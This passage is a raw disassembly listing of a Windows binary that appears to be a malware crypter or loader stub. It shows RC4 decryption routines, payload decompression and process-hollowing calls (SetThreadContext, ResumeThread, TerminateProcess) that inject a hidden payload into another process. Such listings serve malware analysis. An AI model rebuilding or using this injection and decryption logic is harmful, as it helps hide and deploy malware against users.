		jz	short loc_403863
		mov	eax, [ebp+var_1C]
		mov	eax, [eax+28h]
		add	eax, [ebp+var_14]
		mov	[ebp+var_98], eax
		lea	eax, [ebp+var_148]
		push	eax
		mov	eax, [ebp+var_34]
		push	eax
		call	sub_402B5C	; SetThreadContext
		cmp	eax, 1
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_E], al


loc_403863:				; CODE XREF: sub_403640+C6j
					; sub_403640+EBj ...
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403898


loc_403870:				; CODE XREF: sub_403640+256j
		cmp	[ebp+var_E], 0
		jnz	short loc_403883
		push	0
		mov	eax, [ebp+var_38]
		push	eax
		call	sub_402B74	; TerminateProcess
		jmp	short locret_403890
; ---------------------------------------------------------------------------


loc_403883:				; CODE XREF: sub_403640+234j
		mov	eax, [ebp+var_34]
		push	eax
		call	sub_402B44	; ResumeThread
		mov	[ebp+var_D], 1

locret_403890:				; CODE XREF: sub_403640+241j
		retn
; ---------------------------------------------------------------------------


loc_403891:				; DATA XREF: sub_403640+9Fo
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403870
; ---------------------------------------------------------------------------


loc_403898:				; CODE XREF: sub_403640+92j
					; DATA XREF: sub_403640+22Bo
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4038BA


loc_4038A5:				; CODE XREF: sub_403640+278j
		lea	eax, [ebp+var_C]
		mov	edx, 2
		call	sub_401DE8
		retn
; ---------------------------------------------------------------------------


loc_4038B3:				; DATA XREF: sub_403640+28o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_4038A5
; ---------------------------------------------------------------------------


loc_4038BA:				; CODE XREF: sub_403640+272j
					; DATA XREF: sub_403640+260o
		mov	al, [ebp+var_D]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_403640	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4038C8	proc near		; DATA XREF: CODE:00403FA8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4038ED
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4038F4


loc_4038EC:				; CODE XREF: sub_4038C8+2Aj
		retn
; ---------------------------------------------------------------------------


loc_4038ED:				; DATA XREF: sub_4038C8+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_4038EC
; ---------------------------------------------------------------------------


loc_4038F4:				; CODE XREF: sub_4038C8:loc_4038ECj
					; DATA XREF: sub_4038C8+1Fo
		pop	ebp
		retn
sub_4038C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4038F8	proc near		; DATA XREF: CODE:00403FA4o
		sub	ds:dword_4064D8, 1
		retn
sub_4038F8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403900	proc near		; CODE XREF: sub_4039AC+C4p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403999
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_10], 0
		mov	[ebp+var_C], 0
		mov	eax, [ebp+var_4]
		call	sub_401F04
		mov	ecx, eax
		test	ecx, ecx
		jle	short loc_403970
		mov	ebx, 1


loc_403941:				; CODE XREF: sub_403900+57j
		mov	eax, [ebp+var_4]
		mov	al, [eax+ebx-1]
		and	eax, 0FFh
		xor	edx, edx
		add	[ebp+var_10], eax
		adc	[ebp+var_C], edx
		inc	ebx
		dec	ecx
		jnz	short loc_403941
		jmp	short loc_403970
; ---------------------------------------------------------------------------


loc_40395B:				; CODE XREF: sub_403900+7Dj
					; sub_403900:loc_403981j
		push	0
		push	2
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		call	sub_4025C0
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], edx


loc_403970:				; CODE XREF: sub_403900+3Aj
					; sub_403900+59j
		cmp	[ebp+var_C], 0
		jnz	short loc_403981
		cmp	[ebp+var_10], 0FFh
		ja	short loc_40395B
		jmp	short loc_403983
; ---------------------------------------------------------------------------


loc_403981:				; CODE XREF: sub_403900+74j
		jg	short loc_40395B


loc_403983:				; CODE XREF: sub_403900+7Fj
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4039A0


loc_403990:				; CODE XREF: sub_403900+9Ej
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_403999:				; DATA XREF: sub_403900+15o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403990
; ---------------------------------------------------------------------------


loc_4039A0:				; CODE XREF: sub_403900+98j
					; DATA XREF: sub_403900+8Bo
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403900	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4039AC	proc near		; CODE XREF: sub_403B84+50p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	[ebp+var_4], edx
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403AA8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	dword ptr [ebx], 0
		mov	dword ptr [ebx+4], 0
		mov	dword ptr [ebx+8], 0
		mov	dword ptr [ebx+0Ch], 0
		mov	dword ptr [ebx+10h], 0
		mov	dword ptr [ebx+14h], 0
		cmp	[ebp+arg_C], 0
		jnz	short loc_403A03
		cmp	[ebp+arg_8], 1
		jnb	short loc_403A13
		jmp	short loc_403A05
; ---------------------------------------------------------------------------


loc_403A03:				; CODE XREF: sub_4039AC+4Dj
		jge	short loc_403A13


loc_403A05:				; CODE XREF: sub_4039AC+55j
		mov	[ebp+arg_8], 1
		mov	[ebp+arg_C], 0


loc_403A13:				; CODE XREF: sub_4039AC+53j
					; sub_4039AC:loc_403A03j
		cmp	[ebp+arg_C], 0
		jnz	short loc_403A21
		cmp	[ebp+arg_8], 64h
		jbe	short loc_403A31
		jmp	short loc_403A23
; ---------------------------------------------------------------------------


loc_403A21:				; CODE XREF: sub_4039AC+6Bj
		jle	short loc_403A31


loc_403A23:				; CODE XREF: sub_4039AC+73j
		mov	[ebp+arg_8], 63h
		mov	[ebp+arg_C], 0


loc_403A31:				; CODE XREF: sub_4039AC+71j
					; sub_4039AC:loc_403A21j
		cmp	[ebp+arg_4], 0
		jnz	short loc_403A3F
		cmp	[ebp+arg_0], 1
		jnb	short loc_403A4F
		jmp	short loc_403A41
; ---------------------------------------------------------------------------


loc_403A3F:				; CODE XREF: sub_4039AC+89j
		jge	short loc_403A4F


loc_403A41:				; CODE XREF: sub_4039AC+91j
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_4], 0


loc_403A4F:				; CODE XREF: sub_4039AC+8Fj
					; sub_4039AC:loc_403A3Fj
		cmp	[ebp+arg_4], 0
		jnz	short loc_403A5D
		cmp	[ebp+arg_0], 64h
		jbe	short loc_403A6D
		jmp	short loc_403A5F
; ---------------------------------------------------------------------------


loc_403A5D:				; CODE XREF: sub_4039AC+A7j
		jle	short loc_403A6D


loc_403A5F:				; CODE XREF: sub_4039AC+AFj
		mov	[ebp+arg_0], 64h
		mov	[ebp+arg_4], 0


loc_403A6D:				; CODE XREF: sub_4039AC+ADj
					; sub_4039AC:loc_403A5Dj
		mov	eax, [ebp+var_4]
		call	sub_403900
		mov	[ebx], eax
		mov	[ebx+4], edx
		mov	eax, [ebp+arg_8]
		mov	[ebx+8], eax
		mov	eax, [ebp+arg_C]
		mov	[ebx+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[ebx+10h], eax
		mov	eax, [ebp+arg_4]
		mov	[ebx+14h], eax
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403AAF


loc_403A9F:				; CODE XREF: sub_4039AC+101j
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_403AA8:				; DATA XREF: sub_4039AC+15o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403A9F
; ---------------------------------------------------------------------------


loc_403AAF:				; CODE XREF: sub_4039AC+FBj
					; DATA XREF: sub_4039AC+EEo
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_4039AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403AB8	proc near		; CODE XREF: sub_403B84+5Dp

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		lea	edi, [ebp+var_20]
		push	ecx
		mov	ecx, 6
		rep movsd
		pop	ecx
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403B75
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_401F04
		mov	edx, eax
		mov	eax, [ebp+var_8]
		call	sub_402184
		mov	ebx, [ebp+var_18]
		mov	eax, [ebp+var_4]
		call	sub_401F04
		mov	edi, eax
		test	edi, edi
		jle	short loc_403B5F
		mov	esi, 1


loc_403B13:				; CODE XREF: sub_403AB8+A5j
		mov	eax, ebx
		cdq
		cmp	edx, [ebp+var_C]
		jnz	short loc_403B22
		cmp	eax, [ebp+var_10]
		jbe	short loc_403B27
		jmp	short loc_403B24
; ---------------------------------------------------------------------------


loc_403B22:				; CODE XREF: sub_403AB8+61j
		jle	short loc_403B27


loc_403B24:				; CODE XREF: sub_403AB8+68j
		mov	ebx, [ebp+var_18]


loc_403B27:				; CODE XREF: sub_403AB8+66j
					; sub_403AB8:loc_403B22j
		mov	eax, [ebp+var_8]
		call	sub_4020AC
		lea	eax, [eax+esi-1]
		push	eax
		mov	eax, [ebp+var_4]
		mov	al, [eax+esi-1]
		and	eax, 0FFh
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, ebx
		cdq
		add	eax, [ebp+var_20]
		adc	edx, [ebp+var_1C]
		xor	eax, [esp+44h+var_44]
		xor	edx, [esp+44h+var_40]
		add	esp, 8
		pop	edx
		mov	[edx], al
		inc	ebx
		inc	esi
		dec	edi
		jnz	short loc_403B13


loc_403B5F:				; CODE XREF: sub_403AB8+54j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403B7C


loc_403B6C:				; CODE XREF: sub_403AB8+C2j
		lea	eax, [ebp+var_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_403B75:				; DATA XREF: sub_403AB8+28o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403B6C
; ---------------------------------------------------------------------------


loc_403B7C:				; CODE XREF: sub_403AB8+BCj
					; DATA XREF: sub_403AB8+AFo
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403AB8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B84	proc near		; CODE XREF: CODE:004041AFp
					; CODE:0040463Bp ...

var_20		= byte ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		mov	ebx, ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_402048
		mov	eax, [ebp+var_8]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403C01
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+var_4]
		call	sub_401F04
		mov	edx, eax
		mov	eax, ebx
		call	sub_402184
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20]
		mov	edx, [ebp+var_8]
		call	sub_4039AC
		mov	ecx, ebx
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_20]
		call	sub_403AB8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403C08


loc_403BF3:				; CODE XREF: sub_403B84+82j
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_401DE8
		retn
; ---------------------------------------------------------------------------


loc_403C01:				; DATA XREF: sub_403B84+22o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403BF3
; ---------------------------------------------------------------------------


loc_403C08:				; CODE XREF: sub_403B84+7Cj
					; DATA XREF: sub_403B84+6Ao
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_403B84	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C10	proc near		; DATA XREF: CODE:00403FB0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403C35
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064DC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403C3C


loc_403C34:				; CODE XREF: sub_403C10+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403C35:				; DATA XREF: sub_403C10+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403C34
; ---------------------------------------------------------------------------


loc_403C3C:				; CODE XREF: sub_403C10:loc_403C34j
					; DATA XREF: sub_403C10+1Fo
		pop	ebp
		retn
sub_403C10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_403C40	proc near		; DATA XREF: CODE:00403FACo
		sub	ds:dword_4064DC, 1
		retn
sub_403C40	endp


; =============== S U B	R O U T	I N E =======================================



sub_403C48	proc near		; CODE XREF: sub_403D98+15p

var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	[esp+1Ch+var_1C], edx
		mov	edi, eax
		mov	eax, [esp+1Ch+var_1C]
		call	sub_401F04
		mov	[esp+1Ch+var_14], eax
		mov	byte ptr [edi+100h], 0
		mov	byte ptr [edi+101h], 0
		xor	edx, edx
		mov	eax, edi


loc_403C72:				; CODE XREF: sub_403C48+30j
		mov	[eax], dl
		inc	edx
		inc	eax
		test	dl, dl
		jnz	short loc_403C72
		xor	eax, eax
		xor	esi, esi
		mov	dl, 0
		mov	ecx, edi


loc_403C82:				; CODE XREF: sub_403C48+82j
		cmp	esi, [esp+1Ch+var_14]
		jge	short loc_403C94
		mov	ebx, [esp+1Ch+var_1C]
		mov	bl, [ebx+esi]
		mov	[esp+1Ch+var_17], bl
		jmp	short loc_403C99
; ---------------------------------------------------------------------------


loc_403C94:				; CODE XREF: sub_403C48+3Ej
		mov	[esp+1Ch+var_17], 0


loc_403C99:				; CODE XREF: sub_403C48+4Aj
		inc	esi
		cmp	esi, [esp+1Ch+var_14]
		jl	short loc_403CA2
		xor	esi, esi


loc_403CA2:				; CODE XREF: sub_403C48+56j
		mov	bl, [ecx]
		add	bl, [esp+1Ch+var_17]
		add	al, bl
		mov	bl, [ecx]
		mov	[esp+1Ch+var_18], bl
		xor	ebx, ebx
		mov	bl, al
		mov	bl, [edi+ebx]
		mov	[ecx], bl
		xor	ebx, ebx
		mov	bl, al
		lea	ebp, [edi+ebx]
		mov	bl, [esp+1Ch+var_18]
		mov	[ebp+0], bl
		inc	ecx
		dec	dl
		jnz	short loc_403C82
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403C48	endp


; =============== S U B	R O U T	I N E =======================================



sub_403CD4	proc near		; CODE XREF: sub_403D98+4Ap
		xor	ecx, ecx
		mov	edx, 102h
		call	sub_4018A8
		retn
sub_403CD4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403CE4	proc near		; CODE XREF: sub_403D5C+31p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		dec	ebx
		test	ebx, ebx
		jl	short loc_403D54
		inc	ebx
		mov	[ebp+var_4], ebx
		mov	esi, edx


loc_403CF9:				; CODE XREF: sub_403CE4+6Ej
		inc	byte ptr [eax+100h]
		xor	edx, edx
		mov	dl, [eax+100h]
		mov	dl, [eax+edx]
		add	[eax+101h], dl
		xor	ebx, ebx
		mov	bl, [eax+101h]
		mov	bl, [eax+ebx]
		push	ebx
		xor	ebx, ebx
		mov	bl, [eax+100h]
		lea	edi, [eax+ebx]
		pop	ebx
		mov	[edi], bl
		xor	ebx, ebx
		mov	bl, [eax+101h]
		mov	[eax+ebx], dl
		xor	ebx, ebx
		mov	bl, [eax+100h]
		add	dl, [eax+ebx]
		and	edx, 0FFh
		mov	dl, [eax+edx]
		xor	dl, [esi]
		mov	[ecx], dl
		inc	ecx
		inc	esi
		dec	[ebp+var_4]
		jnz	short loc_403CF9


loc_403D54:				; CODE XREF: sub_403CE4+Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	4
sub_403CE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_403D5C	proc near		; CODE XREF: sub_403D98+32p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	edi, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	eax, esi
		call	sub_401F04
		mov	ebx, eax
		mov	eax, edi
		mov	edx, ebx
		call	sub_402184
		push	ebx
		mov	eax, edi
		call	sub_4020AC
		push	eax
		mov	eax, esi
		call	sub_402058
		mov	edx, eax
		mov	eax, ebp
		pop	ecx
		call	sub_403CE4
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403D5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403D98	proc near		; CODE XREF: CODE:00404162p

var_102		= byte ptr -102h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ebx, eax
		lea	eax, [ebp+var_102]
		call	sub_403C48
		xor	eax, eax
		push	ebp
		push	offset loc_403DE8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ecx, esi
		lea	eax, [ebp+var_102]
		mov	edx, ebx
		call	sub_403D5C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403DEF


loc_403DDC:				; CODE XREF: sub_403D98+55j
		lea	eax, [ebp+var_102]
		call	sub_403CD4
		retn
; ---------------------------------------------------------------------------


loc_403DE8:				; DATA XREF: sub_403D98+1Do
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403DDC
; ---------------------------------------------------------------------------


loc_403DEF:				; CODE XREF: sub_403D98+4Fj
					; DATA XREF: sub_403D98+3Fo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403D98	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403DF8	proc near		; DATA XREF: CODE:00403FB8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403E1D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064E0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403E24


loc_403E1C:				; CODE XREF: sub_403DF8+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403E1D:				; DATA XREF: sub_403DF8+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403E1C
; ---------------------------------------------------------------------------


loc_403E24:				; CODE XREF: sub_403DF8:loc_403E1Cj
					; DATA XREF: sub_403DF8+1Fo
		pop	ebp
		retn
sub_403DF8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403E28	proc near		; DATA XREF: CODE:00403FB4o
		sub	ds:dword_4064E0, 1
		retn
sub_403E28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403E30	proc near		; CODE XREF: sub_403E44+7Fp
		jmp	ds:dword_4071A8
sub_403E30	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403E38	proc near		; CODE XREF: sub_403E44+25p
		test	eax, eax
		jz	short locret_403E41
		sub	eax, 4
		mov	eax, [eax]

locret_403E41:				; CODE XREF: sub_403E38+2j
		retn
sub_403E38	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403E44	proc near		; CODE XREF: CODE:00404119p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_402048
		xor	eax, eax
		push	ebp
		push	offset loc_403EF1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_4]
		call	sub_403E38
		mov	ebx, eax
		cmp	ebx, 4
		jbe	short loc_403ED4
		lea	eax, [ebp+arg_4]
		call	sub_4020AC
		mov	edi, eax
		mov	edx, [edi]
		mov	eax, esi
		call	sub_402184
		cmp	dword ptr [edi], 80000h
		jbe	short loc_403E99
		mov	[ebp+var_8], 2
		jmp	short loc_403EA0
; ---------------------------------------------------------------------------


loc_403E99:				; CODE XREF: sub_403E44+4Aj
		mov	[ebp+var_8], 102h


loc_403EA0:				; CODE XREF: sub_403E44+53j
		lea	eax, [ebp+var_4]
		push	eax
		sub	ebx, 4
		push	ebx
		lea	eax, [ebp+arg_4]
		call	sub_4020AC
		add	eax, 4
		push	eax
		mov	eax, [edi]
		push	eax
		mov	eax, esi
		call	sub_4020AC
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_403E30	; RtlDecompressBuffer
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_402184
		jmp	short loc_403EDB
; ---------------------------------------------------------------------------


loc_403ED4:				; CODE XREF: sub_403E44+2Fj
		mov	eax, esi
		call	sub_401DC4


loc_403EDB:				; CODE XREF: sub_403E44+8Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403EF8


loc_403EE8:				; CODE XREF: sub_403E44+B2j
		lea	eax, [ebp+arg_4]
		call	sub_401DC4
		retn
; ---------------------------------------------------------------------------


loc_403EF1:				; DATA XREF: sub_403E44+17o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403EE8
; ---------------------------------------------------------------------------


loc_403EF8:				; CODE XREF: sub_403E44+ACj
					; DATA XREF: sub_403E44+9Fo
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_403E44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F04	proc near		; DATA XREF: CODE:00403FC0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403F29
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4064E4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403F30


loc_403F28:				; CODE XREF: sub_403F04+2Aj
		retn
; ---------------------------------------------------------------------------


loc_403F29:				; DATA XREF: sub_403F04+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403F28
; ---------------------------------------------------------------------------


loc_403F30:				; CODE XREF: sub_403F04:loc_403F28j
					; DATA XREF: sub_403F04+1Fo
		pop	ebp
		retn
sub_403F04	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403F34	proc near		; DATA XREF: CODE:00403FBCo
		sub	ds:dword_4064E4, 1
		retn
sub_403F34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403F3C	proc near		; DATA XREF: CODE:00403FC8o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403F5B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403F62


loc_403F5A:				; CODE XREF: sub_403F3C+24j
		retn
; ---------------------------------------------------------------------------


loc_403F5B:				; DATA XREF: sub_403F3C+6o
		jmp	loc_401B94
; ---------------------------------------------------------------------------
		jmp	short loc_403F5A
; ---------------------------------------------------------------------------


loc_403F62:				; CODE XREF: sub_403F3C:loc_403F5Aj
					; DATA XREF: sub_403F3C+19o
		pop	ebp
		retn
sub_403F3C	endp

; ---------------------------------------------------------------------------
dword_403F64	dd 0Ch							; BSS:off_4063CCo
		dd offset off_403F6C
off_403F6C	dd offset loc_402A5C	; DATA XREF: CODE:00403F68o
		dd offset sub_402A2C
		dd offset sub_402914
		dd offset sub_4028CC
		dd offset sub_402A94
		dd offset sub_402A64
		dd offset sub_402BBC
		dd offset sub_402B8C
		dd offset sub_402C04
		dd offset sub_402BD4
		dd offset sub_403478
		dd offset sub_403448
		dd offset sub_40362C
		dd offset sub_4035FC
		dd offset sub_4038F8
		dd offset sub_4038C8
		dd offset sub_403C40
		dd offset sub_403C10
		dd offset sub_403E28
		dd offset sub_403DF8
		dd offset sub_403F34
		dd offset sub_403F04
		align 8
		dd offset sub_403F3C
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	ecx, 0Eh


loc_403FD4:				; CODE XREF: CODE:00403FD9j
		push	0
		push	0
		dec	ecx
		jnz	short loc_403FD4
		push	ebx
		push	esi
		push	edi
		mov	eax, offset dword_403F64
		call	sub_4029E8
		xor	eax, eax
		push	ebp
		push	offset loc_404813
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	edx, offset dword_404824
		mov	eax, offset dword_406E1C
		call	sub_403368
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_404012
		push	0
		call	near ptr 429400h


loc_404012:				; CODE XREF: CODE:00404009j
		mov	edx, offset aNbqbec ; "NBQBEC"
		mov	eax, ebx
		mov	ecx, ds:dword_406E1C
		call	sub_401264
		mov	ds:dword_406E20, 0Ah
		mov	ebx, offset dword_406DCC
		mov	esi, offset dword_406DF4
		mov	edi, offset aNbqbec ; "NBQBEC"


loc_40403D:				; CODE XREF: CODE:00404572j
		mov	eax, offset dword_406E24
		mov	edx, 4
		call	sub_402B84
		cmp	dword ptr [ebx], 0
		jz	short loc_404055
		xor	eax, eax
		mov	[ebx], eax


loc_404055:				; CODE XREF: CODE:0040404Fj
		mov	edx, edi
		mov	eax, esi
		call	sub_403368
		mov	[ebx], eax
		cmp	dword ptr [ebx], 0
		jz	loc_404560
		mov	eax, offset dword_406E24
		mov	edx, [esi]
		call	sub_402184
		mov	eax, offset dword_406E24
		call	sub_4020AC
		mov	edx, eax
		mov	eax, [ebx]
		mov	ecx, [esi]
		call	sub_401264
		mov	eax, edi
		mov	ds:off_406F84, eax
		lea	edx, [ebp-14h]
		xor	eax, eax
		call	sub_4013B0
		mov	eax, [ebp-14h]
		mov	ecx, offset dword_406F80
		mov	edx, offset dword_406F7C
		call	sub_402E38
		cmp	al, 1
		jnz	short loc_4040DC
		mov	eax, ds:dword_406F80
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, ds:off_406F84
		mov	edx, [eax+0BCh]
		mov	eax, [eax+0B8h]
		cmp	edx, [esp+4]
		jnz	short loc_4040D4
		cmp	eax, [esp]


loc_4040D4:				; CODE XREF: CODE:004040CFj
		pop	edx
		pop	eax
		jnz	loc_404560


loc_4040DC:				; CODE XREF: CODE:004040AFj
		mov	eax, ds:off_406F84
		cmp	byte ptr [eax+0A2h], 0
		jz	short loc_404104
		lea	edx, [ebp-18h]
		mov	eax, ds:dword_406E24
		call	sub_403168
		mov	edx, [ebp-18h]
